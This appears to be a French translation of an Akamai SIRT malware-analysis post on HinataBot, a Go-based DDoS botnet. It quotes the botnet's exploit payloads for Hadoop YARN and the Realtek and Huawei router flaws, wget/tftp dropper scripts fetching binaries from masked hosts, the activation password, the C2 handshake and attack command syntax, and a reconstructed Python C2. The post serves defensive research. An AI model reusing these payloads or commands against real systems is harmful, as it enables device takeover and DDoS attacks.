Découverte de HinataBot : Une exploration approfondie d'une menace basée sur Go
Contributions éditoriales et additionnelles de Tricia Howard
Synthèse
Les chercheurs de l'équipe SIRT (Security Intelligence Response Team) d'Akamai ont découvert un nouveau botnet DDoS basé sur Go. Le logiciel malveillant semble avoir été nommé « Hinata » par son auteur d'après un personnage de la populaire série Naruto. Nous l'appellerons « HinataBot ».
HinataBot a été vu distribué au cours des trois premiers mois de 2023 et est activement mis à jour par les auteurs/opérateurs.
L'échantillon a été découvert dans des pots de miel HTTP et SSH, ciblant d'anciennes failles et des informations d'identification faibles.
Les tentatives d'infection observées incluent l'exploitation du service miniigd SOAP sur les terminaux Realtek SDK (CVE-2014-8361), les routeurs Huawei HG532 (CVE-2017-17215) et les serveurs Hadoop YARN exposés (CVE non disponible).
Grâce à une combinaison de rétro-ingénierie du logiciel malveillant et d'imitation du serveur de commande et de contrôle (C2), nous avons pu examiner en détail le fonctionnement du logiciel malveillant et ce qui est unique dans son trafic d'attaque.
Présentation, HinataBot
HinataBot est un logiciel malveillant basé sur Go que les chercheurs en sécurité de l'équipe SIRT d'Akamai ont récemment découvert dans des pots de miel HTTP et SSH. Cet échantillon particulier est remarquable en raison de sa grande taille et du manque d'identification spécifique autour de ses nouveaux hachages. Les fichiers binaires du programme malveillant semblent avoir été nommés par son auteur d'après un personnage de la populaire série d'animation, Naruto, avec des structures de nom de fichier telles que « Hinata-<OS>-<Architecture> ».
HinataBot est la plus récente de la liste sans cesse croissante de menaces émergentes basées sur Go qui incluent des botnets tels que GoBruteForcer et le récemment découvert (par SIRT) kmsdbot. Go a été utilisé par les pirates informatiques pour tirer profit de ses hautes performances, de sa facilité d'utilisation du multithreading, de sa prise en charge de multiples architectures et de la compilation croisée des systèmes d'exploitation, mais aussi probablement parce qu'il ajoute de la complexité lorsqu'il est compilé, ce qui rend plus difficile la rétro-ingénierie des fichiers binaires finaux.
HinataBot a été conçu pour communiquer via plusieurs méthodes, telles que l'établissement et l'acceptation de connexions entrantes. Il a été observé qu'il menait des attaques par inondation DDoS en utilisant des protocoles comme HTTP, UDP, TCP, et ICMP. pour envoyer du trafic. Cependant, la dernière version de HinataBot a limité ses méthodes d'attaque à HTTP et UDP uniquement.
Campagnes d'infection de HinataBot
Les méthodes de distribution observées étaient un mélange de scripts d'infection et de charges utiles complètes utilisant deux failles principales : une RCE Hadoop YARN (Figure 1) et l'exploitation d'une faille dans le service miniigd SOAP au sein des terminaux Realtek SDK ((CVE-2014-8361); Figure 2).
/ws/v1/cluster/apps
{"application-id": "application_1404198295326_0003", "application-name": "get-shell", "am-container-spec": {"commands": {"command": "wget http://xxx.xxx.xxx.xxx/bins/hinata-linux.amd64 && chmod +x hinata-linux.amd64 && ./hinata-linux.amd64 &"}}, "application-type": "YARN"}
Figure 1 : Distribution de la charge utile via une RCE Hadoop Yarn
/picsdesc.xml
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/; rm -rf *; wget http://xxx.xxx.xxx.xxx/bins/hinata-linux.mips`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Figure 2 : Distribution des données utiles via CVE-2014-8361
Ces attaques se sont produites durant plusieurs jours entre le 11 et le 16 janvier 2023. Les attaquants ont utilisé plusieurs versions de scripts d'infection, qui ont été mises à jour au fil du temps. Parmi ces scripts, les deux principaux ont été nommés «wget.sh» (Figure 3) et «tftp.sh» (Figure 4), reflétant les protocoles respectifs utilisés pour récupérer la charge utile appropriée.
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-aix.ppc64; chmod +x hinata-aix.ppc64; ./hinata-aix.ppc64; rm -rf hinata-aix.ppc64;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android.386; chmod +x hinata-android.386; ./hinata-android.386; rm -rf hinata-android.386;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android.amd64; chmod +x hinata-android.amd64; ./hinata-android.amd64; rm -rf hinata-android.amd64;
Figure 3 : Script d'infection wget.sh utilisant wget pour télécharger la charge utile
cd /tmp cd /var/run cd /mnt cd /root cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-aix.ppc64 hinata-aix.ppc64; chmod +x hinata-aix.ppc64; ./hinata-aix.ppc64; rm -rf hinata-aix.ppc64;
cd /tmp cd /var/run cd /mnt cd /root cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-android.386 hinata-android.386; chmod +x hinata-android.386; ./hinata-android.386; rm -rf hinata-android.386;
cd /tmp cd /var/run cd /mnt cd /root cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-android.amd64 hinata-android.amd64; chmod +x hinata-android.amd64; ./hinata-android.amd64; rm -rf hinata-android.amd64;
Figure 4 : Script d'infection ftp.sh utilisant ftp pour télécharger la charge utile
Dans les pots de miel SSH, les attaquants ont effectué des attaques en force, en essayant des combinaisons de nom d'utilisateur et de mot de passe communes. Une fois la connexion établie, ils ont ouvert un shell et ont procédé à l'exécution des actions de la figure 5.
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://xxx.xxx.xxx.xxx/wget.sh; curl -O http://xxx.xxx.xxx.xxx/wget.sh; chmod 777 *; tftp -g xxx.xxx.xxx.xxx -r wget.sh; tftp xxx.xxx.xxx.xxx -c get wget.sh; tftp -r wget.sh -g xxx.xxx.xxx.xxx; sh wget.sh; tftp -g xxx.xxx.xxx.xxx -r tftp.sh; tftp xxx.xxx.xxx.xxx -c get tftp.sh; tftp -r tftp.sh -g xxx.xxx.xxx.xxx; chmod 777 *; sh tftp.sh; rm -rf *.sh; history -c; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; busybox wget http://xxx.xxx.xxx.xxx/wget.sh; busybox curl -O http://xxx.xxx.xxx.xxx/wget.sh; busybox chmod 777 *; busybox tftp -g xxx.xxx.xxx.xxx -r wget.sh; busybox tftp xxx.xxx.xxx.xxx -c get wget.sh; busybox tftp -r wget.sh -g xxx.xxx.xxx.xxx; sh wget.sh; busybox tftp -g xxx.xxx.xxx.xxx -r tftp.sh; busybox tftp xxx.xxx.xxx.xxx -c get tftp.sh; busybox tftp -r tftp.sh -g xxx.xxx.xxx.xxx; busybox chmod 777 *; sh tftp.sh; rm -rf *.sh; history -c;
Figure 5 : Script shell tentant de télécharger la charge utile dans les pots de miel Cowrie
Le programme malveillant HinataBot a été distribué sous forme de fichiers binaires Go, conçus pour fonctionner sur divers architectures et systèmes d'exploitation. Cette tendance des auteurs de programmes malveillants qui développent des charges utiles spécialisées pour plusieurs plateformes est devenue de plus en plus courante ces dernières années (Figure 6), probablement en raison de la facilité de compilation croisée, ainsi que de l'Internet des objets (IoT) et des petits terminaux de bureaux/domestiques exécutant des architectures de processeur moins communes, qui s'est avéré être un paysage propice au ciblage.
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm64
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-mips64
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-386
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-amd64
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-solaris-amd64
http://xxx.xxx.xxx.xxx/bins/hinata-windows-386.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-amd64.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm64.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-linux.amd64
Figure 6 : Charges utiles dans les différentes combinaisons de systèmes d'exploitation et d'architectures
En utilisant l'adresse IP de distribution comme pivot, nous avons pu identifier deux adresses IP supplémentaires qui étaient précédemment utilisées pour la distribution. Dans chaque cas, l'adresse IP pivot a été utilisée comme proxy. D'autres analyses ont révélé qu'avant de développer leur propre programme malveillant basé sur Go, les attaquants avaient tenté de distribuer un variant de Mirai générique qui était empaqueté par UPX et utilisait un nom moins identifiable (Figure 7).
tftp://xxx.xxx.xxx.xxx/tftp.sh
http://xxx.xxx.xxx.xxx/wget.sh
tftp://xxx.xxx.xxx.xxx/wget.sh
http://xxx.xxx.xxx.xxx/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86
Figure 7 : Divers scripts d'infection et fichier binaire Mirai générique
Les premières tentatives de distribution de programmes malveillants ont eu lieu dès décembre 2022 et ont utilisé des scripts d'infection très différents (Figure 8). Ces scripts antérieurs peuvent avoir fait office de test initial exécuté par les auteurs pour évaluer l'efficacité de leurs tactiques et outils.
# Hinata
# Get the Kernel Name
# wget http://xxx.xxx.xxx.xxx/infect.sh && chmod +x infect.sh && ./infect.sh && rm -rf infect.sh
Kernel=$(uname -s)
case $Kernel in
Linux) Kernel="linux" ;;
Darwin) Kernel="darwin" ;;
Windows) Kernel="windows" ;;
Android) Kernel="android" ;;
FreeBSD) Kernel="freebsd" ;;
Dragonfly) Kernel="dragonfly" ;;
OpenBSD) Kernel="openbsd" ;;
NetBSD) Kernel="netbsd" ;;
Solaris) Kernel="solaris" ;;
*) echo "Your Operating System -> ITS NOT SUPPORTED" ; exit 1 ;;
esac
# Get the machine Architecture
Architecture=$(uname -m)
case $Architecture in
x86) Architecture="x86" ;;
ia64) Architecture="ia64" ;;
i?86) Architecture="x86" ;;
amd64) Architecture="amd64" ;;
x86_64) Architecture="amd64" ;;
sparc64) Architecture="sparc64" ;;
i386) Architecture="i386" ;;
arm64) Architecture="arm64" ;;
arm7) Architecture="arm" ;;
armc) Architecture="arm" ;;
386) Architecture="386" ;;
mips) Architecture="mips" ;;
mipsle) Architecture="mipsle" ;;
mips64) Architecture="mips64" ;;
mips64le) Architecture="mips64le" ;;
ppc64) Architecture="ppc64" ;;
ppc64le) Architecture="ppc64le" ;;
s390x) Architecture="s390x" ;;
riscv64) Architecture="riscv64" ;;
*) echo "Your Architecture '$Architecture' -> ITS NOT SUPPORTED." ; exit 1 ;;
esac
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
wget http://xxx.xxx.xxx.xxx/bins/hinata-$Kernel-$Architecture;
curl -O http://xxx.xxx.xxx.xxx/bins/hinata-$Kernel-$Architecture;
chmod +x *;
./hinata-$Kernel-$Architecture;
Figure 8 : Anciens scripts d'infection
De plus, nous avons pu identifier une autre faille que les attaquants ont exploitée pour distribuer des versions antérieures de leurs scripts d'infection (Figure 9). Cette faille, CVE-2017-17215, affecte les routeurs Huawei HG532 et permet l'exécution arbitraire de code à distance.
/ctrlt/DeviceUpgrade_1
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://xxx.xxx.xxx.xxx/KKveTTgaAAsecNNaaaa/KKveTTgaAAsecNNaaaa.mips; chmod 777 *; ./KKveTTgaAAsecNNaaaa.mips)>NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Figure 9 : Exploitation de la faille CVE-2017-17215 pour infecter les routeurs Huawei HG532
Les acteurs de la menace derrière HinataBot sont actifs depuis au moins décembre 2022, mais n'ont commencé à développer leurs propres programmes malveillants qu'à la mi-janvier 2023. Depuis lors, nous avons observé plusieurs itérations du programme malveillant et divers pivots dans les techniques d'infection. L'adresse IP principale utilisée pour la distribution et les connexions de commande et de contrôle (C2) a déjà participé à la distribution de spams et de programmes malveillants. Pour le moment, on ignore encore si l'adresse IP est malveillante de par sa conception, ou si elle est simplement compromise et victime de violations.
Influences Mirai
À l'origine, comme indiqué précédemment, les acteurs derrière HinataBot ont distribué des fichiers binaires Mirai, une famille de programmes malveillants bien connue qui a commencé à cibler les terminaux IoT. Étant open source, elle a continué d'être adoptée par divers acteurs et groupes (et a évolué en conséquence). Mirai compte maintenant de multiples variantes et botnets conçus par plusieurs auteurs, acteurs et groupes.
En examinant les enregistrements DNS historiques, nous pouvons voir que, tout récemment, en février 2023, l'adresse IP associée le plus récemment à HinataBot répondait pour le domaine « hihi.mirailovers.pw » (Figure 10).
Il y a eu de nombreuses tentatives publiques de réécriture de Mirai en Go, et HinataBot semble suivre une structure analogue à certaines de ces tentatives. Par exemple, la façon dont HinataBot configure la communication dans sa méthode principale et la façon dont il traite les commandes et commence les attaques dans ses méthodes d'attaque ressemblent à la structure utilisée dans d'autres variantes de Mirai basées sur Go.
Il est intéressant de noter que HinataBot en est encore à l'étape de développement, et évolue. Il est donc difficile de prévoir comment le logiciel malveillant va changer et ce à quoi il pourrait ressembler.
Le premier coup d'œil
Nous avons d'abord essayé d'atteindre l'adresse IP de distribution la plus récente. Bien qu'il ait été possible de faire un « ping », nous n'avons toutefois pas pu télécharger l'échantillon directement à partir du serveur. Cela peut indiquer que les attaquants ont mis en place un mécanisme de protection ou qu'ils retirent les échantillons après la distribution, ce qui rend plus difficile de les obtenir en dehors d'une attaque directe. Dans les campagnes plus anciennes des mêmes acteurs, nous avons observé des modèles de noms apparemment randomisés (voir Figure 9).
Heureusement, nous avons pu obtenir un échantillon grâce à notre outil d'analyse automatisé qui en avait stocké un pour nous au moment de l'infection initiale. Nous avons téléchargé les versions MIPS32 et x86-64 de notre référentiel de programmes malveillants et avons commencé l'analyse statique. Les fichiers binaires étaient tous deux écrits en Go, mais ils étaient relativement faciles à utiliser, car ils étaient non corrompus, décompressés et non tronqués (Figure 11). Les versions des fichiers binaires dans les jours précédant cette publication ont depuis été tronqués, ce qui rendra la rétro-ingénierie plus difficile à l'avenir.
$ file hinata
hinata: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, Go BuildID=gfgPbqdcg0-yRmHHtXPR/IBS6ZkQMVMHVV2qxav1B/EFvlrym6DccdYqeOZ5d7/cclENKTkTyznOj0NvSFl, not stripped
Fig. 11 : Exécution de la commande «file» sur Hinata
Au début, nous avons commencé à analyser un échantillon du logiciel malveillant HinataBot vieux de deux mois (Figure 12), mais nous avons plus tard été informés d'un échantillon plus récent (Figure 13) qui avait été publié le jour même où nous avions découvert le logiciel malveillant dans nos journaux. Nous avons donc analysé l'échantillon le plus récent.
La principale distinction entre les deux versions est que l'échantillon le plus récent a été rationalisé et comporte des fonctionnalités plus modulaires. En outre, le nouvel échantillon comprend quelques mesures de sécurité de base qui n'étaient pas présentes dans la version originale. Nous approfondirons ces différences dans une Section ultérieure de cet article.
hinata-linux-mips
5.98 MB
995681f388f5e0a405c282ae9ce22dc41f2249f0f5208254e1eec6e302d7ad7d
Fig. 12 : Échantillon de HinataBot de janvier 2023
hinata-linux-mips
4.49 MB
71154ad6bd1a8a79fc674c793bb82b8e7d1371eca0f909c6e4a98ef8e7f5d1da
Fig. 13 : Échantillon de HinataBot de mars 2023
Au cours de notre analyse, plusieurs fonctions se sont immédiatement fait remarquer. Trois fonctions d'attaque distinctes ont immédiatement attiré notre attention : sym.main.startAttack, sym.main.http_floodet sym.main.udp_flood (Figure 14). Le nom de ces fonctions suggère que le programme malveillant était destiné au lancement d'attaques DDoS.
Une analyse plus approfondie du programme malveillant a révélé des références aux communications C2, qui ont fourni des indices supplémentaires selon lesquels HinataBot faisait partie d'une campagne de création de botnets orientée DDoS (Figure 15).
Mappage des communications C2
Pour comprendre comment le programme malveillant HinataBot établit une connexion à son C2, nous avons travaillé en arrière depuis la chaîne "Connection to CNC is OK!" et avons commencé à rechercher des références croisées à la chaîne (Figure 16). Ce processus nous a permis de définir le mécanisme par lequel le logiciel malveillant communique avec son C2.
Notre enquête nous a finalement conduit au serveur C2 pour HinataBot à l'écoute sur TCP/1420, sur la même IP depuis laquelle le logiciel malveillant avait été distribué pendant la campagne d'infection (Figure 17).
Autre découverte à partir du code assembleur : les références à une API utilisée pour les connexions (« API_CONNECTION_ATTACK »), ainsi que de nombreuses commandes possibles à émettre sur le terminal infecté et que nous étions impatients d'essayer (Figure 18).
À ce stade, nous étions convaincus que l'échantillon que nous avions se connecterait au serveur de distribution/C2 pour notifier au C2 que le bot était en cours d'exécution et attendait des commandes, mais le serveur C2 était désormais hors ligne.
Il est intéressant d'observer que HinataBot ouvre également son propre port d'écoute sur TCP/61420 (figure 19). Comme l'objectif principal de cette recherche était de mieux comprendre le trafic d'attaque que ce botnet pouvait générer, nous n'avons pas consacré beaucoup de temps à cette capacité, car elle semblait hors de portée.
Toutefois, nous avons remarqué que les différences temporelles de cet auditeur dépendaient de la connectivité réussie au C2. Dans les cas où un C2 est contacté avec succès, cet auditeur meurt après trois minutes. Dans ceux où le C2 n'a pas pu être atteint, ce port reste à l'écoute sans limite de temps apparente. Des recherches supplémentaires devront être menées sur ce port pour comprendre pleinement les capacités qu'il offre aux opérateurs, par exemple, s'il s'agit d'une fonctionnalité poste-à-poste ou éventuellement d'une fonctionnalité de mise à jour/contrôle/récupération. Nous ne pouvons pas fournir de réponse définitive au moment de la rédaction de ce document.
Parler à HinataBot
Dans la phase suivante de notre enquête, nous avons délibérément infecté plusieurs machines et créé un serveur C2 pour analyser les interactions, les mesures de sécurité et les modèles de trafic de HinataBot. Nous aborderons brièvement certains des processus et observations effectués lors de la rétro-ingénierie de HinataBot.
HINATA_START_NICE
Comme mentionné plus haut, le nouvel échantillon de HinataBot comprenait quelques mesures de sécurité de base qui étaient absentes dans les versions précédentes. La première mesure de ce type était une exigence de mot de passe. Lors de l'exécution de l'échantillon, la première chose que l'on remarque est une exception non récupérée. Le message d'erreur qui en résulte est clair (Figure 20).
En examinant de plus près le message d'erreur, nous avons découvert que l'échantillon nécessitait la transmission d'un argument supplémentaire lors de l'exécution. En entrant littéralement n'importe quoi dans cet argument, nous pouvions surmonter l'exception non récupérée, mais HinataBot disparaissait simplement. À partir de là, il est devenu évident que nous devions revenir au désassemblage pour voir ce que HinataBot pouvait chercher dans cet argument.
Nous avons effectué une recherche dans l'échantillon du programme malveillant et avons finalement identifié la chaîne de 17 caractères (0x005fe3d2) "HINATA_START_NICE" (0x005fe3d8) utilisée dans un appel sym.runtime.memequal (0x005fe3e0) qui échouerait et conduirait à une instruction ret, mettant fin à l'exécution (Figure 21). Nous avons utilisé cette chaîne comme argument lors de l'exécution de l'échantillon, ce qui a permis à l'exécution de progresser vers un code plus intéressant.
Soulignons que le personnage de la série d'animation Naruto, nommée Hinata, a au début un caractère paisible et doux avant de devenir une combattante féroce, ce à quoi les auteurs du logiciel malveillant peuvent faire allusion lors de l'utilisation de l'argument "HINATA_START_NICE" (« Hinata est gentille au début »), avant que le programme malveillant ne communique avec son C2 et participe au lancement d'attaques.
Il convient de noter que cette exigence de mot de passe n'était pas présente dans les anciens échantillons du logiciel malveillant HinataBot de janvier 2023. Par conséquent, la plupart des scripts d'infection que nous avons rencontrés n'incluaient pas cet argument. Cependant, après avoir découvert cette exigence, nous avons pu suivre les nouveaux scripts d'infection (Figure 22), qui ont transmis l'argument aux binaires au moment de l'infection. Il aurait été pratique de le savoir avant.
#!/bin/bash
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-aix-ppc64; chmod +x hinata-aix-ppc64; ./hinata-aix-ppc64 HINATA_START_NICE; rm -rf hinata-aix-ppc64;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android-386; chmod +x hinata-android-386; ./hinata-android-386 HINATA_START_NICE; rm -rf hinata-android-386;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android-amd64; chmod +x hinata-android-amd64; ./hinata-android-amd64 HINATA_START_NICE; rm -rf hinata-android-amd64;
Fig. 22 : Nouveau script d'infection utilisant le mot de passe
Go.123+Strings-456.Are_789-Weird
Notre analyse de l'échantillon de HinataBot a révélé un grand nombre de très longues chaînes de texte en clair intégrées dans le fichier binaire. Go utilise une approche unique pour stocker les littéraux de chaîne en les plaçant dans un bloc de mémoire contigu appelé "table de chaînes" ou "pool interne de chaînes."
Par conséquent, lors de l'exécution de la commande strings ou de désassembleurs sur un binaire Go, le résultat peut apparaître comme un mélange de caractères confus, ce qui rend difficile la distinction entre les différentes chaînes dans la table (Figure 23).
Cette technique diffère des autres langages de programmation, qui stockent généralement des chaînes d'octets terminée par un NULL. Sans ces octets terminés par un NULL, l'outil continue à lire une chaîne découverte jusqu'à ce qu'il rencontre un octet nul. Cela rend une simple analyse des chaînes plus difficile.
L'examen des références croisées des segments de code dans les segments d'adresse de la table de chaînes peut aider à identifier l'emplacement du début des chaînes individuelles dans la table plus grande. En général, vous pouvez également identifier leur longueur chargée dans un registre avant ou après le chargement de la chaîne, ou dans le cadre d'un appel de fonction qui utilisera la tranche de chaîne référencée (Figure 24). Il faut s'y habituer, mais c'est assez simple une fois que vous vous sentez à l'aise avec la convention.
Parlez-moi, Goose
Une fois que nous avions un moyen de satisfaire l'exigence de mot de passe, notre attention s'est tournée vers l'établissement d'une connexion au serveur C2. De la même manière que nous avons découvert le mot de passe, nous avons pu identifier les composants du protocole de liaison requis pour établir une connexion au serveur C2, qui était en panne au moment de cette recherche/rédaction.
En utilisant netcat pour écouter sur le port 1420, nous avons ensuite corrigé le fichier binaire pour utiliser une adresse IP que nous avons contrôlée en tant que serveur C2. Une fois connectés, nous avons envoyé les déclencheurs appropriés au terminal infecté, le mettant en scène pour la participation à l'attaque (Figure 25).
Le « handshake » consistait en une connexion initiale, le bot envoyant ensuite un message « API_CONNECTION_BOT [os]/[architecture] [hostname] ». Le bot attend alors un message de retour API_CONNECTION_SIGNAL_OK du serveur C2, qui l'enverrait à l'écoute des commandes entrantes (Figure 26). Sans « handshake », nous envoyons le signal API_CONNECTION_ATTACK: pour lancer des attaques.
Nous avons créé un serveur C2 très simple afin d'automatiser la maintenance de cette connexion et de nous permettre de modifier et d'envoyer une commande stockée dans un fichier texte sans avoir à modifier le code, ce qui a permis des tests très faciles et rapides (Figure 27). Nous avons ainsi gagné un peu de temps au cours de cette recherche.
#!/usr/bin/env python
from pwn import *
import time
l = listen(1420)
l.wait_for_connection()
time.sleep(1)
l.send(b'API_CONNECTION_SIGNAL_OK')
while True:
data = l.recv()
if data:
print(time.time(), data)
if data == b'API_CONNECTION_SIGNAL_CHECK':
continue
else:
print(time.time(), 'no data recv\'d')
cmdf = open('cmd.txt','r')
cmdt = cmdf.read()
cmdf.close()
if cmdt == "":
cmdt = b'API_CONNECTION_SIGNAL_OK'
print(time.time(), 'SENT:', cmdt)
l.send(cmdt)
Figure 27 : C2 recréé pour maintenir la connexion au nœud infecté
Bien que ces interactions avec HinataBot aient été assez intéressantes, notre objectif ultime était toujours d'observer le programme malveillant en action et de voir à quoi ressemblait son trafic d'attaque lorsqu'il était dirigé vers des systèmes ciblés. Avec la configuration des communications C2 de base, nous avons commencé à découvrir la commande d'attaque, à traiter la logique et à mapper les structures de commande d'attaque.
HinataBot cesse d'être gentille
La version la plus récente de ce logiciel malveillant possède deux méthodes d'attaque principales : HTTP et UDP. L'ancienne version contenait ces deux méthodes, ainsi que des méthodes d'attaque exploitant ICMP flood et TCP flood. On ignore pourquoi ces méthodes ont été supprimées.
Pour avoir un aperçu plus rapproché du trafic d'attaque réel, nous avons utilisé notre serveur C2 improvisé pour maintenir la connexion, alors que le bot nous envoyait des pulsations. De cette façon, nous pouvions nous concentrer uniquement sur les commandes d'attaque, sans avoir à nous soucier de maintenir une connexion au terminal infecté.
Après une analyse et des tests approfondis, nous avons finalement pu définir la structure et les champs nécessaires pour lancer des attaques et commencer à capturer des paquets. L'auteur du programme malveillant exploite plusieurs conventions Go telles que des fonctions anonymes, des goroutines, des canaux, des groupes de travail et des groupes d'attente, rendant la rétro-ingénierie un peu plus délicate. En fin de compte, après quelques tests, nous avons découvert la structure de commande d'attaque (Figure 28).
API_CONNECTION_ATTACK: [ATTACK_TYPE] [TARGET] [DURATION] [UDP_OPTIONS]
Figure 28 : Structure de commande d'attaque
Une fois mappée, la structure de commande de base est très simple. Les commandes d'attaque commencent toujours par API_CONNECTION_ATTACK: suivi de trois champs obligatoires : ATTACK_TYPE (type d'attaque), TARGET (cible), et DURATION (durée de l'attaque). Pour le udp_flood il existe également un quatrième champ UDP_OPTIONS ; ce champ est également requis lors de l'émission d'une attaque udp_flood en raison de la façon dont la vérification de commande se produit, mais, curieusement, il n'a pas besoin d'être valide du tout.
Type d'attaque 0 : http_flood
La commande http_flood ne semble pas utiliser de paramètres d'options supplémentaires, contrairement à l'attaque udp_flood . Comme elle s'appuie sur la bibliothèque Go native net.http , la plupart de la configuration et de l'analyse des options pour cette attaque provient directement de la bibliothèque Go et est contrôlée via l'instruction TARGET (cible) .
Dans la commande d'attaque de la figure 29, nous émettons une attaque http_flood (type 0) dirigée vers 127.127.127.127 sur TCP/31337 qui va durer 10 secondes Le chemin, le port, les paramètres GET et le protocole sont tous déduits de cette instruction cible. Si aucun port n'est fourni, il prend par défaut la valeur TCP/80.
API_CONNECTION_ATTACK: 0 http://127.127.127.127:31337/asdf?a=GETA&b=GETB 10
Figure 29 : Structure de commande d'attaque pour une attaque http_flood
Comme nous l'avons déjà mentionné, ce fichier binaire s'appuie sur la bibliothèque Go net.http pour mener ses attaques. Le bot crée un pool de travail de 512 travailleurs via Goroutines, et chaque travailleur crée son propre objet net.http.Request . Dans la figure 30, nous pouvons voir un peu comment cela fonctionne de l'intérieur d'un travailleur individuel.
Tout d'abord, un nouvel objet Context et une nouvelle classe RequestWithContext sont créés. Cet objet Context est rempli avec des en-têtes HTTP qui seront utilisés pendant l'attaque par la classe RequestWithContext . Certains de ces en-têtes sont statiques, tandis que d'autres sont randomisés. Dans la figure 30, vous pouvez voir les appels Rand Seed et Intn. Ils sont utilisés pour sélectionner un User-Agent aléatoire à partir d'une liste de 10 agents utilisateurs statiques codés en dur dans le binaire. Nous parlerons des en-têtes à rechercher ci-dessous pendant que nous analyserons le trafic sortant du logiciel malveillant pendant une attaque http_flood .
GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Linux; Android 10; JSN-L21) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.58 Mobile Safari/537.36
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: hTjpyhseGCbpyADUlXRyQgvTmHfrr
Keep-Alive: 20319
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB
GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: ljwAbmstAHTcIeqkyIZVgRmJpibg
Keep-Alive: 20456
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB
GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: YnBsbIPmklTccQrcLXZeFFUJAHMa
Keep-Alive: 20084
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB
Figure 31 : 3 exemples de demandes d'attaque http_flood
